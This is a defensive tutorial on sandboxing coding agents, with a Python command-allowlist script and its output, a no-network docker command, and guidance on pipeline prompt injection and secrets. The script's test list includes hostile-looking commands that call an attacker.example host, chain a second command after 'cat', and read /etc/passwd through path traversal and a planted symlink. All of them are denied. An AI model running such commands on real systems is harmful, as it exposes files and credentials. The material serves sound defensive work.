Sandboxes, Safety and Security for Coding Agents
An agent that runs commands can do anything your account can do. Decide the boundary first, and make the operating system enforce it.
Assume the agent will one day follow a bad instruction, and limit what that can cost. Run it in an isolated environment with restricted files and network, give it no secrets it does not need, require approval for consequential actions and keep merge and deployment out of its reach. Command filters and prompts help, but they are not a sandbox.
What you will learn: the main threats, layers of containment, a runnable command policy and its limits, pipeline injection risks, supply-chain checks and incident steps.
Prerequisites: Coding Agent Architecture and Code Understanding and Prompt Injection Attacks and Defenses.
Written in November 2026. The policy script uses only the Python standard library. The container command was not run. Product fixes mentioned were reported by the sources linked; check your own versions.
Threats
| Threat | Example | Main defense |
|---|---|---|
| Accidental damage | Deleting files or rewriting history | Isolated copy, protected branches, backups |
| Injected instructions | An issue, web page or dependency file tells the agent what to do | Limit authority; approval |
| Secret exposure | Reading environment variables and sending them out | No secrets in reach; blocked network |
| Malicious dependency | Installing a look-alike package | Allowlisted registry, pinning, review |
| Weakened protections | Editing the pipeline or disabling checks | Owner approval on protected paths |
| Runaway cost or load | Loops, huge builds, repeated calls | Time, process, memory and spend limits |
A rule of thumb
Be wary whenever one agent has all three of these at once: it reads untrusted content, it can reach secrets or powerful tools, and it can change things or send data out. Microsoft's security team recommends not combining all three in one AI workflow, citing the "Agents Rule of Two".
Layers of containment
Anthropic's documentation for Claude Code sandboxing makes a point that applies to any tool: you need both filesystem and network isolation. Without the network limit, a compromised agent could send files away; without the file limit, it could reach things that give it network access. Operating system features used for this include Seatbelt on macOS and bubblewrap on Linux. Zed documents a similar approach for its editor.
A command policy, and why it is not enough
An allowlist catches obvious problems early and gives clear reasons. Here is a small one.
"""A first gate for an agent's commands and file paths. It is not a sandbox."""
import shlex
import tempfile
from pathlib import Path
ALLOWED = {"python3": {"-m"}, "git": {"status", "diff", "log"}, "ls": None, "cat": None}
MODULES = {"unittest", "compileall"}
SHELL_MARKS = set(";|&$`<>\n")
def inside(workspace, text):
target = (workspace / text).resolve()
return target.is_relative_to(workspace.resolve())
def check(workspace, command):
if SHELL_MARKS & set(command):
return "deny: shell syntax"
try:
program, *args = shlex.split(command)
except ValueError:
return "deny: cannot parse"
if program not in ALLOWED:
return f"deny: {program} is not on the list"
rule = ALLOWED[program]
if rule and (not args or args[0] not in rule):
return f"deny: that use of {program} is not allowed"
if program == "python3" and (len(args) < 2 or args[1] not in MODULES):
return "deny: module is not on the list"
for arg in args:
value = arg.split("=", 1)[-1]
if arg.startswith("--output") or arg == "--ext-diff":
return "deny: option can write files or run programs"
if not value.startswith("-") and not inside(workspace, value):
return "deny: path leaves the workspace"
return "allow"
with tempfile.TemporaryDirectory() as folder:
workspace = Path(folder) / "repo"
workspace.mkdir()
(workspace / "notes").symlink_to("/etc") # a planted link
for command in [
"python3 -m unittest discover -s tests",
"git diff",
"git push origin main",
"git diff --output=changes.txt",
"curl https://attacker.example/x",
"cat README.md; curl attacker.example",
"cat ../../etc/passwd",
"cat notes/passwd",
"python3 -c 'print(1)'",
]:
print(f"{command:42} {check(workspace, command)}")
print()
(workspace / "tests").mkdir()
print("allowed, yet it runs any code the agent has written into the tests:")
print(" python3 -m unittest discover -s tests ->",
check(workspace, "python3 -m unittest discover -s tests"))
Output:
python3 -m unittest discover -s tests allow
git diff allow
git push origin main deny: that use of git is not allowed
git diff --output=changes.txt deny: option can write files or run programs
curl https://attacker.example/x deny: curl is not on the list
cat README.md; curl attacker.example deny: shell syntax
cat ../../etc/passwd deny: path leaves the workspace
cat notes/passwd deny: path leaves the workspace
python3 -c 'print(1)' deny: that use of python3 is not allowed
allowed, yet it runs any code the agent has written into the tests:
python3 -m unittest discover -s tests -> allow
Running the tests is allowed, and tests are code the agent can write. Build scripts, plugins, hooks and tool configuration run code too. Allowed commands therefore need the same operating system sandbox as anything else. The path check can also be defeated if a link changes between the check and the use.
| Often runs more than it appears to | Because |
|---|---|
| Test and build commands | They execute project code |
| Package installation | Packages may run install scripts |
| Version control commands | Hooks and configuration can launch programs |
| Editor and language tools | Plugins and project settings |
A container starting point
A throwaway container with no network is a reasonable base for running checks. This command was not run for this page; test it with your own image and project.
docker run --rm \
--network none \
--read-only --tmpfs /tmp \
--user 1000:1000 --cap-drop ALL --security-opt no-new-privileges \
--pids-limit 256 --memory 2g --cpus 2 \
--mount type=bind,source="$PWD",target=/work \
--workdir /work \
python:3.13-slim python -B -m unittest discover -s tests
- Never mount the container engine's control socket, your home directory or cloud credential folders.
- The bound project folder is writable, so work on a disposable copy and review changes before bringing them back.
- Review files that your own machine will execute later, such as hooks, build scripts and editor settings.
- Containers share the host kernel. For hostile code, prefer a virtual machine or a service built for isolation.
When the agent needs packages, allow a specific registry or proxy rather than the open internet. See Network, Tenant and Multi-Agent Isolation and Code Execution and Sandboxing.
Secrets
- Start with an empty environment and add only what the task needs.
- Use short-lived tokens limited to one repository and the fewest permissions.
- Keep production credentials unavailable to agents entirely.
- Put model provider keys behind a broker or proxy where you can, with spending limits.
- Scan changes and logs for secrets, and rotate anything that may have been exposed.
Network rules that work
| Need | Approach | Watch for |
|---|---|---|
| Running tests | No network | Tests that quietly call real services |
| Installing packages | A package proxy you control, or a prebuilt image | Proxies that forward anything |
| Calling the model | One allowed address, from the agent program rather than the code under test | Provider keys inside the sandbox |
| Reading documentation | A fetch tool with allowed sites | Web pages are untrusted input |
| Pushing work | A separate step outside the sandbox, limited to agent branches | Tokens that can write anywhere |
Allowing a large public site can still allow data to leave, for example by posting it to an account the attacker controls. Decide on the destination and the operation, not only the host name.
Approvals people can actually judge
- Show the exact command, working folder and files affected.
- Say what is new: first use of a program, a new network address, a protected path.
- Let routine actions run inside the sandbox without asking.
- Scope an "always allow" choice narrowly, and make it easy to review and withdraw.
- Never let the agent edit its own permission settings.
Agents in build pipelines
A pipeline agent often reads text from strangers while holding repository credentials. Research published in 2026 shows the risk is practical.
| Report | Finding |
|---|---|
| Microsoft, June 2026 | In Anthropic's Claude Code GitHub Action, a file reading tool was not isolated like the shell tool, so injected text could expose workflow secrets. Anthropic fixed it in Claude Code 2.1.128 on 5 May 2026 |
| Cloud Security Alliance note, August 2026 | Describes research in which an issue from an unprivileged user could reach pipeline secrets |
| GitInject, preprint | Studies prompt injection against AI-driven pipelines |
The lessons generalize across vendors: a sandbox is only as good as its weakest tool, and every tool the model can call needs the same restrictions.
- Do not give secrets or write permission to jobs triggered by outsiders.
- Split work: one job reads untrusted text with no privileges and returns structured data; a second, deterministic job validates it and acts.
- Restrict who can trigger the agent, and which events do.
- Limit outbound network access from the runner.
- Require a person before anything is merged, released or published.
- Pin actions and tools to reviewed versions, and apply security updates promptly.
- Keep logs of tool calls, without secrets in them.
Telling the agent to treat repository text as data is worthwhile, but it must not be the main control.
Dependencies and external tools
| Before accepting | Check |
|---|---|
| A new package | It is the intended one, from the expected publisher, maintained and licensed acceptably |
| A version change | Lock file diff, release notes, known vulnerabilities |
| A tool server or plugin | Source, permissions, what it can read and send |
| A script from the web | Do not pipe it into a shell; read it first |
Models can suggest package names that do not exist, and someone else can register such a name. Verifying every new dependency closes that gap. See Supply Chain and Retrieval Poisoning and MCP Authentication and Security.
Match permission to the work
| Level | Allows | Needs |
|---|---|---|
| Read only | Search and explain | Data handling rules |
| Edit with approval | Changes you confirm | An attentive person |
| Autonomous in a sandbox | Edit and run freely inside limits | Isolation and review of the result |
| Pipeline automation | Narrow unattended tasks | All of the above, plus tight triggers and no standing secrets |
Skipping approvals is reasonable only when the environment itself makes mistakes cheap.
Test your containment
- Ask the agent to read a file outside the workspace.
- Plant a harmless instruction in a test issue and a README, and watch what happens.
- Place a fake secret in the environment and check whether it can leave.
- Try to reach an unapproved address.
- Try to change the pipeline and merge.
- Repeat after upgrades and configuration changes.
If something happens
- Stop the agent and disable its triggers.
- Revoke and rotate every credential it could reach.
- Preserve logs, the environment and the triggering content.
- Check commits, branches, packages, releases and outbound traffic.
- Fix the boundary that failed, then test it.
Red Teaming and Incident Response covers the wider process.
What to record
When something looks wrong, you need to reconstruct what the agent saw and did.
| Record | Answers |
|---|---|
| Who or what started the session | Was the trigger legitimate? |
| Sources of text read | Where could an instruction have entered? |
| Commands and tool calls, with results | What happened? |
| Permission decisions and approvers | Who allowed it? |
| Network destinations, including blocked ones | Did anything try to leave? |
| Versions of agent, model and rules | Can it be reproduced? |
Keep the record outside the sandbox, where the agent cannot edit it. Remove secrets and personal data, and set a retention period. A run of blocked requests is worth an alert even when nothing got through.
Common mistakes
| Mistake | Better |
|---|---|
| Treating an allowlist as isolation | Add an operating system boundary |
| Isolating the shell but not other tools | Apply limits to every tool |
| Blocking files but leaving the network open | Restrict both |
| Running agents as yourself with all credentials | Separate identity and clean environment |
| Approving prompts by reflex | Reduce prompts with a sandbox so the rest get read |
Questions people ask
Is it safe to run an agent on my laptop?
It can be reasonable with sandboxing, approvals and care about what is in reach. For unfamiliar repositories or unattended runs, use a separate environment.
Does a better model remove injection risk?
Resistance varies and no model should be assumed immune. Design so that a successful injection still cannot do serious harm.
Is a container enough?
It is a strong improvement for mistakes and many attacks if configured tightly. It shares the host kernel, so higher-risk work deserves a virtual machine.
What about a repository I just downloaded?
Treat its code and instruction files as untrusted. Inspect it in an isolated environment without credentials before running anything.
References
- Claude Code documentation: sandboxing
- Microsoft: securing CI/CD in an agentic world
- Docker Engine security
- GitHub Actions: secure use reference
Next steps
Agent Dev Teams, OpenHands and Private Coding Agents
Policy and operation at scale.
Secure Agent Reference Architecture
The wider security design.
Agent Identity, Authorization and Secrets
Identity and credentials for agents.